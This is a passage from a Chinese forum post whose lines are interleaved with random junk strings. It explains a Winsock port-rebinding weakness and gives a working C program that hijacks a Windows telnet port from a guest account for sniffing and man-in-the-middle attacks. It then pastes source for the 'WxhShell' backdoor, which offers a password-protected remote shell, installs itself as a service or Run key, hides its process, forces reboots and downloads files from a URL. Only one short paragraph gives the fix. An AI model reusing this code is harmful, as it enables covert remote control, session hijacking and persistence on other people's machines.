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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I^)_rOgM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (QdLz5\  
[s[!PlazX  
  saddr.sin_family = AF_INET; )xL_jSyh  
cm8co  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g,G{%dGsk  
V`0Y p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iA|n\a~ny,  
B~E>=85z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NxzAlu  
24po}nrO  
  这意味着什么?意味着可以进行如下的攻击: %EYh*g{G  
gW?Hd/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g7w#;E  
o4^#W;%w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BC85#sbl  
q&&uX-ez5W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,g1~4,hqQ  
N3V4Mpf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]M 2n%9  
#<@_mbQ@|K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UhXVeGO  
S"fqE%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R2qz>kyyB  
#'m#Q6`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pz|}[Cx-  
3t5W wrNh  
  #include *l@T 9L[M'  
  #include Odm1;\=Eg+  
  #include @.=2*e.z|b  
  #include    VrKLEN\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bo??9 1B^7  
  int main() "HLh3L~  
  { 5>:p'zI  
  WORD wVersionRequested; uG/b Cb+V  
  DWORD ret; KkJE-k*D+w  
  WSADATA wsaData; ug/P>0  
  BOOL val; a ~k*Gd(  
  SOCKADDR_IN saddr; l xP!WP  
  SOCKADDR_IN scaddr; _$mS=G(  
  int err; ]'vAeC6{  
  SOCKET s; k#2b3}(,  
  SOCKET sc; `uc`vkVZ  
  int caddsize; #UnGU,J  
  HANDLE mt; QZ5%nJme_  
  DWORD tid;   !MOcF5M  
  wVersionRequested = MAKEWORD( 2, 2 ); PkOtg[Z  
  err = WSAStartup( wVersionRequested, &wsaData ); {\ VmNnw  
  if ( err != 0 ) { /AIFgsaY  
  printf("error!WSAStartup failed!\n"); ?U,XyxN  
  return -1; yn2k!2]&T<  
  } m~@Lt~LZs  
  saddr.sin_family = AF_INET; tbB.n  
   t&C0V|s79$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m xy=3cUi  
r3YfY \  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '<wZe.Q!  
  saddr.sin_port = htons(23); kqCUr|M.P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CelM~W$=u  
  { 5(DnE?}vo  
  printf("error!socket failed!\n"); O_D;_v6Ii+  
  return -1; _z3^.QP  
  } ^Uldyv/  
  val = TRUE; K&&YxX~ 3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]2z Gb5s"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g:>dF#  
  { K14{c1  
  printf("error!setsockopt failed!\n"); xQ=L2pX  
  return -1; ,f .#-  
  } <$ %Y#I'zX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VKr oikz@]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i,/Q.XL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8yGo\\=T  
1k)`C<l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O.?q8T)n82  
  { (k %0|%eR  
  ret=GetLastError(); >kV=h?]Y  
  printf("error!bind failed!\n"); V/8yW3]Xy  
  return -1; <h~_7Dn  
  } w'Jo).OW~  
  listen(s,2); 6o GF6C  
  while(1) .a|ROjd!  
  { EkP(] F  
  caddsize = sizeof(scaddr); &^ =Y76  
  //接受连接请求 (XQl2C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oX-h7;SD  
  if(sc!=INVALID_SOCKET) <-|g>  
  { M5B?`mTl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lJ<( mVt  
  if(mt==NULL) zQx7qx  
  { WtbOm  
  printf("Thread Creat Failed!\n"); YifTC-Q;  
  break; cs)z!  
  } pB79#4  
  } I\VC2U  
  CloseHandle(mt); T(bFn?  
  } I=V]_Ik4 N  
  closesocket(s); RTYhgq  
  WSACleanup(); x;/%`gKn8  
  return 0; W.<I:q`eO  
  }   J]Qbg7|  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5?MKx!%  
  { !%YV0O0  
  SOCKET ss = (SOCKET)lpParam; :;Wh!8+j  
  SOCKET sc; "cX*GTNi8  
  unsigned char buf[4096]; V, e  
  SOCKADDR_IN saddr; 5,?Au  
  long num; j=w`%nh4"f  
  DWORD val; sKOy6v  
  DWORD ret; QLyBP!X-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PciiDh~/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ON$-g_s>)  
  saddr.sin_family = AF_INET; Z65]|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O0> ^?dsL  
  saddr.sin_port = htons(23); _6'HBE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2a:JtJLl  
  { CFx$r_!~  
  printf("error!socket failed!\n");  4K$d%  
  return -1; MXuiQ;./  
  } ESv&x6H  
  val = 100; 9@z"~H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TWJ%? /d  
  { ?1MaA  
  ret = GetLastError(); <o\I C?A  
  return -1; v"smmQZik  
  } NpYzN|W:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ f`V_1d3  
  { vh^,8pPy  
  ret = GetLastError(); VBI~U?0  
  return -1; fwi( qx1=}  
  } u:D,\`;)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W%cJ#R[o  
  { g"L$}#iTsl  
  printf("error!socket connect failed!\n"); HWT^u$a"  
  closesocket(sc); XqTDLM&  
  closesocket(ss); E:ocx2dp  
  return -1; = eDi8A*~  
  } n6 a=(T  
  while(1) / L/hR4  
  { /0qLMlL$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &\GB_UA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \LpR7D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kdwt^8Umh  
  num = recv(ss,buf,4096,0); '`Iuf\  
  if(num>0) 7{e*isV  
  send(sc,buf,num,0); 2Fsv_t&*>  
  else if(num==0) 4q\bnt  
  break; "i;c)ZP  
  num = recv(sc,buf,4096,0); Do5)ilt  
  if(num>0) *R6Ed  
  send(ss,buf,num,0); V0x;*)\PYm  
  else if(num==0) rSvQarT  
  break; ri k0F  
  } $Y5m"wySZ  
  closesocket(ss); 2bk~6Osp  
  closesocket(sc); pT`oC&  
  return 0 ; 6S# e?>"+  
  } `aW>h8$I)  
-(]s!,  
rt[w yz8  
========================================================== %^$7z,>;  
%0!!998  
下边附上一个代码,,WXhSHELL lUd;u*A  
9vZD?6D,n  
========================================================== jRP9e  
-r5JP[0kP  
#include "stdafx.h" {"uLV{d  
%nfaU~IqK  
#include <stdio.h> t\$P*_  
#include <string.h> %Z=%E!*  
#include <windows.h> G&HCOR!h  
#include <winsock2.h> 8=U0\<wT  
#include <winsvc.h> TZk.?@s5  
#include <urlmon.h> Y[ciT)  
KK%R3{  
#pragma comment (lib, "Ws2_32.lib") lef,-{X-  
#pragma comment (lib, "urlmon.lib") plRBfw>]N  
"NgfdLz  
#define MAX_USER   100 // 最大客户端连接数 VNcxST15a  
#define BUF_SOCK   200 // sock buffer YxUC.2V|7$  
#define KEY_BUFF   255 // 输入 buffer x$;I E  
_Fz]QxO  
#define REBOOT     0   // 重启 O IMsxXF\J  
#define SHUTDOWN   1   // 关机 1]i{b/ 4  
O:Ixy?b;Z  
#define DEF_PORT   5000 // 监听端口 nM1F4G  
`"/s,"c:D  
#define REG_LEN     16   // 注册表键长度 *+ql{\am4N  
#define SVC_LEN     80   // NT服务名长度 ?B"k9+%5ej  
uoM;p'  
// 从dll定义API 8i=c|k,GL.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1webk;IM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <n)J~B^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Az}.Z'LJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (HW!!xM  
J7`fve  
// wxhshell配置信息 U$fh ~w<[  
struct WSCFG { q`l%NE  
  int ws_port;         // 监听端口 dp3>G2Yq  
  char ws_passstr[REG_LEN]; // 口令 \L"Vx9xT  
  int ws_autoins;       // 安装标记, 1=yes 0=no +$-@8,F>  
  char ws_regname[REG_LEN]; // 注册表键名 o& GS;{Rs  
  char ws_svcname[REG_LEN]; // 服务名 F?wfh7q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /7 CF f&4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NYoh6AR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s^@?+<4:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H <|ilL'fX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kf8-#Q/B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \~]HfDu  
R;wq  
}; *oC],4y~D  
pu:Ie#xTDf  
// default Wxhshell configuration jo8hVWJ7V*  
struct WSCFG wscfg={DEF_PORT, 0@K?'6  
    "xuhuanlingzhe", 'Olp2g8=  
    1, 6 K+DgNK  
    "Wxhshell", =r3%jWH6  
    "Wxhshell", O]\6Pv@N  
            "WxhShell Service", E,S[3+  
    "Wrsky Windows CmdShell Service", 6V"|  
    "Please Input Your Password: ", 3++}4%w  
  1, o"te7nBI  
  "http://www.wrsky.com/wxhshell.exe", "%o,P/<X  
  "Wxhshell.exe" Ua>lf8w<  
    }; &Hb;; Ic(  
7*9a`p3w  
// 消息定义模块 eD4qh4|u.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (h} 5*u%h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G234UjN%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M7O5uW`  
char *msg_ws_ext="\n\rExit."; CWP),]#n  
char *msg_ws_end="\n\rQuit."; \>T+\?M  
char *msg_ws_boot="\n\rReboot..."; `OL@@`'^{S  
char *msg_ws_poff="\n\rShutdown..."; NtuO&{}i  
char *msg_ws_down="\n\rSave to "; s#%$aQ|Fp  
>tUi ;!cQ  
char *msg_ws_err="\n\rErr!"; F3-<F_4.w  
char *msg_ws_ok="\n\rOK!"; ,f4VV\  
Q]9+-p(=  
char ExeFile[MAX_PATH]; U7)#9qS4  
int nUser = 0; gn2*'_V~3  
HANDLE handles[MAX_USER]; $2p=vi 3  
int OsIsNt; otA59 ;Z  
S'Hb5C2u  
SERVICE_STATUS       serviceStatus; Gb=pQ (n4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _2eRH@T  
6zo'w Wc3  
// 函数声明 LW={| 3}  
int Install(void); P=.yXirm?  
int Uninstall(void); mv5=>Xc6  
int DownloadFile(char *sURL, SOCKET wsh); +VJS/  
int Boot(int flag); laR cEXj  
void HideProc(void); #Tz$ona  
int GetOsVer(void); XX85]49`%  
int Wxhshell(SOCKET wsl); BGtr=&Hq  
void TalkWithClient(void *cs); w\"~ *(M  
int CmdShell(SOCKET sock); -C]k YQ  
int StartFromService(void); m#}41<  
int StartWxhshell(LPSTR lpCmdLine); R&>G6jZ?8  
m* Zq3j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (=2-*((&(A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e -!6m #0  
:%6OFO$z  
// 数据结构和表定义 WH>=*\  
SERVICE_TABLE_ENTRY DispatchTable[] = ~4 ~c+^PF  
{ R`[jkJrc  
{wscfg.ws_svcname, NTServiceMain}, \k DQ[4mGq  
{NULL, NULL} ?Uq;>  
}; PykVXZ7j;  
InO;DA\  
// 自我安装 v qt#JdPp9  
int Install(void) .3X5~OH  
{ zBQV2.@  
  char svExeFile[MAX_PATH]; ^(j}'p,  
  HKEY key; 3V(]*\L  
  strcpy(svExeFile,ExeFile); &kR*J<)V  
8t1XZ  
// 如果是win9x系统,修改注册表设为自启动 j*.K|77WHj  
if(!OsIsNt) { O'm5k l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )j/2Z-Ev:W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :w!A_~ w2  
  RegCloseKey(key); _>8rTk`/h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yt'P,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ 0'j;")XV  
  RegCloseKey(key); syJLcK+e  
  return 0; ?*)Q[P5  
    } $ Jz(Lb{  
  } ]C;X/8'Jf5  
} LD=eMk: ~  
else { 5NR@<FE  
H[S}&l\D4  
// 如果是NT以上系统,安装为系统服务 4. =jKj9j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~'9\y"N1  
if (schSCManager!=0) NmuzAZr  
{ 5@lVuMIYT  
  SC_HANDLE schService = CreateService _%@dlT?  
  ( AV>_ bw.  
  schSCManager, ){nOM$W  
  wscfg.ws_svcname, ^xyU *A}D  
  wscfg.ws_svcdisp, afw`Heaa2(  
  SERVICE_ALL_ACCESS, mn].8 F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -wsoJh  
  SERVICE_AUTO_START, +]3kcm7B  
  SERVICE_ERROR_NORMAL, *;&[q{hz  
  svExeFile, 'mELW)S  
  NULL, Hk1[0)  
  NULL, O"M2*qiH  
  NULL, S-f .NC}:i  
  NULL, ( < e q[(  
  NULL 6e;POW  
  ); ;p(I0X  
  if (schService!=0) qkM)zOZ^  
  { g@O H,h/  
  CloseServiceHandle(schService); aw923wEi  
  CloseServiceHandle(schSCManager); ~n"?*I`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UkTq0-N;2  
  strcat(svExeFile,wscfg.ws_svcname); Ke;eI+P[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z/I\hC9i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,M.phRJ-`  
  RegCloseKey(key); }Q?a6(4  
  return 0; EKD?j  
    } Ob&m&2s,  
  } DFXHD,o  
  CloseServiceHandle(schSCManager); ELN1F0TneH  
} [;Y,nSw  
} `0_,>Z  
h6Q~Di  
return 1; AI^!?nJ%'  
} -O^R~Q_`w  
'ti~TG  
// 自我卸载 q^DQ9B  
int Uninstall(void) ]#\De73K   
{ hm\UqIt  
  HKEY key; kaT  !   
uq2C|=M-x\  
if(!OsIsNt) { kz*6%Cg*~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f<{f/lU@  
  RegDeleteValue(key,wscfg.ws_regname); @<jm+f"MP  
  RegCloseKey(key); j"A<qI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rJT YCe1*  
  RegDeleteValue(key,wscfg.ws_regname); `-!kqJ  
  RegCloseKey(key); GBl[s,g[|  
  return 0; *Fg)`M3g  
  } AxfQ{>)0  
} iYf)FPET  
} 8og8;#mnyr  
else { fm^J-  
B'e@RhU;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 :;]tt  
if (schSCManager!=0) ;nx.:f  
{ i-}T t<^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TILH[r&Jg  
  if (schService!=0) JvsL]yRT  
  { p/qu4[Mm  
  if(DeleteService(schService)!=0) { P6I<M}p  
  CloseServiceHandle(schService); (!PsK:wc  
  CloseServiceHandle(schSCManager); S"t\LB*'Ls  
  return 0; ~dC.,"  
  } iR!]&Oh  
  CloseServiceHandle(schService); c{IL"B6>  
  } zm{`+boH<  
  CloseServiceHandle(schSCManager); =axuLP))  
} t#VX#dJ  
} #N$\d4q9  
m^~5Xr"  
return 1; D/ VEl{ba-  
} .Y0O.  
gq]@*C  
// 从指定url下载文件 ;Dbx5-t  
int DownloadFile(char *sURL, SOCKET wsh) !|l7b2NEz-  
{ NcrBp(  
  HRESULT hr; i6f42]Jy  
char seps[]= "/"; 4H^ACw  
char *token; 2^=8~I!n&  
char *file; #+N_wIP4  
char myURL[MAX_PATH]; Ifokg~X~G  
char myFILE[MAX_PATH]; njZJp|y6  
{<$tEj:  
strcpy(myURL,sURL); FUXJy{n6"2  
  token=strtok(myURL,seps); 01&@8z'E  
  while(token!=NULL) 2acT w#  
  { ${rWDZ0Z  
    file=token; k 1a?yH)=  
  token=strtok(NULL,seps); Ai"MJ6)  
  } qW4DW4  
fk9q3  
GetCurrentDirectory(MAX_PATH,myFILE); -G~/ GO  
strcat(myFILE, "\\"); %JH/|mA&|  
strcat(myFILE, file); XDAP[V  
  send(wsh,myFILE,strlen(myFILE),0); E+|K3EJ  
send(wsh,"...",3,0); DgK*> A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m[%':^vSr  
  if(hr==S_OK) ?6\N&MTF  
return 0; mK/E1a)AG3  
else ?lfyC/  
return 1;  iDx(qdla  
pN)x,<M)  
} <CB%e!~.9  
&Nh zEl1  
// 系统电源模块 k ~Q 5Cs  
int Boot(int flag) '7}2}KD  
{ q7r b3d  
  HANDLE hToken; Td|u-9OM  
  TOKEN_PRIVILEGES tkp; Rc3!u^?u  
4x}U+1B  
  if(OsIsNt) { cIQbu#[@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8AuE:=?,,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `K:n=hpF  
    tkp.PrivilegeCount = 1; eEfGH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tSux5 yV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]l C2YD}  
if(flag==REBOOT) { V']Z_$_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'sXrtl7{^  
  return 0; YXZP-=fB>i  
} g4Q' Fub+I  
else { P(FlU]q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5|~nX8>  
  return 0; 6K )K%a,9  
} B=;kC#Emtf  
  } Dkb`_HI  
  else { XI |k,Ko<  
if(flag==REBOOT) { zc=G4F01  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {]cr.y]\  
  return 0; C7G,M  
} G3`9'-2q@c  
else { .%)uCLZr$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x/CM)!U)  
  return 0; P 4t@BwU$  
} 6Q\|8a  
} F\&{>&  
Qu,R6G  
return 1; +lfO4^V  
} z?Ok'LX  
~;]kqYIJ  
// win9x进程隐藏模块 |1tpXpe  
void HideProc(void) i-w$-2w  
{ S9r?= K  
VBix8|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I|c!:4  
  if ( hKernel != NULL ) Xp9I3nd|  
  { NA/`LaJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^"D^D`$@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6WT3-@d  
    FreeLibrary(hKernel); TE$6=;  
  } ZfX$q\7  
UimofFmI%  
return; 7l$ u.[  
} 9unRMvE u  
{|hg3R~A  
// 获取操作系统版本 Z'j[N4%BK  
int GetOsVer(void) qEXN} Pq<  
{ q4Wr$T$gs=  
  OSVERSIONINFO winfo; vpf.0!zh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f,E7eL@  
  GetVersionEx(&winfo); PuREqa\_[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FG[rH]   
  return 1; \eNB L[  
  else M;Pry 3J  
  return 0; lq"X_M$  
} 1P[x.t#  
8U(o@1PT  
// 客户端句柄模块 [tof+0Y6  
int Wxhshell(SOCKET wsl) h'};spv  
{ B~ i  
  SOCKET wsh; ]vB\yQE  
  struct sockaddr_in client; +a^gC  
  DWORD myID; y]+5Y.Cw$  
k9OGnCW\  
  while(nUser<MAX_USER) vm[*+&\2  
{ 7@>/O)>(AS  
  int nSize=sizeof(client); ]b; m~|9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xx>h J!  
  if(wsh==INVALID_SOCKET) return 1; #"KC29!Yj  
!hZ: \&V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Z3K ~  
if(handles[nUser]==0) d8vf kV B  
  closesocket(wsh); a-E}3a  
else -$o0P'Vx  
  nUser++; 7`;f<QNo  
  } iLZY6?_^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3.?be.cq  
?R#$ c]  
  return 0; nOL.%  
} Z3hZy&_I  
_3@5@1[s  
// 关闭 socket YmaS,Q-  
void CloseIt(SOCKET wsh) Nz.X$zUmY  
{ Rr %x;-  
closesocket(wsh); )Ln".Bu,  
nUser--; O 1z0dHa  
ExitThread(0); 4>0q0}J=5  
} 0=3)`v{S@  
X>=`l)ZR  
// 客户端请求句柄 M yHv>  
void TalkWithClient(void *cs) pg4pfi^__V  
{ G2kU_  
v.Q#<@B^:  
  SOCKET wsh=(SOCKET)cs; s+lBai*#  
  char pwd[SVC_LEN]; g?v(>#i  
  char cmd[KEY_BUFF]; >":xnX#  
char chr[1]; X2Z)> 10  
int i,j; CUI+@|]%  
NT*r7_e  
  while (nUser < MAX_USER) { |K Rt$t  
T2<%[AF0  
if(wscfg.ws_passstr) { : gU5CUm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0GrM:Lh y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y PI)^ }  
  //ZeroMemory(pwd,KEY_BUFF); c**&,aL  
      i=0; y0mNDze  
  while(i<SVC_LEN) { RSym9t90t  
UTyV6~  
  // 设置超时 `L`+`B  
  fd_set FdRead; {owuYVm  
  struct timeval TimeOut; gx9Os2Z|3  
  FD_ZERO(&FdRead); :}v-+eIQ  
  FD_SET(wsh,&FdRead); ;C$+8%P4  
  TimeOut.tv_sec=8; i>YQ<A1  
  TimeOut.tv_usec=0; K#wA ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }psRgF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e9KD mX_  
X>o9mW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PtbaC6"\  
  pwd=chr[0]; X n!mdR  
  if(chr[0]==0xd || chr[0]==0xa) { O[ird`/  
  pwd=0; -  /\qGI  
  break; ;z4F-SYQ  
  } "g ^i%  
  i++; zk8 )!Af  
    } ( 4L/I  
Y\-xX:n.\  
  // 如果是非法用户,关闭 socket UrvUt$WO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q!1;xw~  
} WZNq!K H  
f+ceL'fr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8-nf4=ll  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,O5X80'.g  
yKV{V?h?  
while(1) {  '/.Dxib  
V+ ("kz*  
  ZeroMemory(cmd,KEY_BUFF); !g]5y=  
TR0y4u[  
      // 自动支持客户端 telnet标准   8J(j}</>a  
  j=0; >5~#BrpwG  
  while(j<KEY_BUFF) { nL:&G'd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `]eJF|"  
  cmd[j]=chr[0]; LOx+?4|y  
  if(chr[0]==0xa || chr[0]==0xd) { f"5O'QHGQK  
  cmd[j]=0; LN5LT'CE   
  break; DYr#?} 40  
  } 4@?0wV  
  j++; Ocx"s\q(  
    } j1K3|E  
w'H'o!*/  
  // 下载文件 l:V R8g[  
  if(strstr(cmd,"http://")) { F(HfXY3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >s{I@#9  
  if(DownloadFile(cmd,wsh)) D9oNYF-V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tbRW6  
  else V|MGG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ={:a N)  
  } .Ix3wR9  
  else { /e'3\,2_  
LW]fme<V?  
    switch(cmd[0]) { =*,SD  
  K?^;|m-  
  // 帮助 'K,\  
  case '?': { t_3j_`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {q0+PzgP  
    break; m;OvOc,  
  } j~ qm$'H  
  // 安装 nHm}^.B*+  
  case 'i': { `$6o*g>:  
    if(Install()) &n  k)F<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lj1l ]OD  
    else ;?2)[a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hC:'L9Y  
    break; 4qOzjEQ  
    } !wy _3a  
  // 卸载 i<Vc~ !pT  
  case 'r': { m@2E ~m  
    if(Uninstall()) \cIN]=#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gpV4qDXV  
    else K&L!O3#(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ >OP  
    break; ANhtz1Fl  
    } K|P0nJT  
  // 显示 wxhshell 所在路径 !/is+ xp  
  case 'p': { OM\J4"YV$  
    char svExeFile[MAX_PATH]; b{A[\ "  
    strcpy(svExeFile,"\n\r"); ~R!1{8HP  
      strcat(svExeFile,ExeFile); buGBqx[  
        send(wsh,svExeFile,strlen(svExeFile),0); l76=6Vtb  
    break; Xsq@E#@S  
    } *'/,  
  // 重启 P>7Xbm,VP  
  case 'b': { x>#{C,Fi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W>@ti9\t  
    if(Boot(REBOOT)) jdxHWkQ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TrjyU  
    else { =A"Abmx|  
    closesocket(wsh); \H] |5fp*  
    ExitThread(0); uAO!fE}CJ  
    } >f]/VaMH{  
    break; KUI{Z I  
    } cbzA`b'Mg  
  // 关机 N"S`9B1eD(  
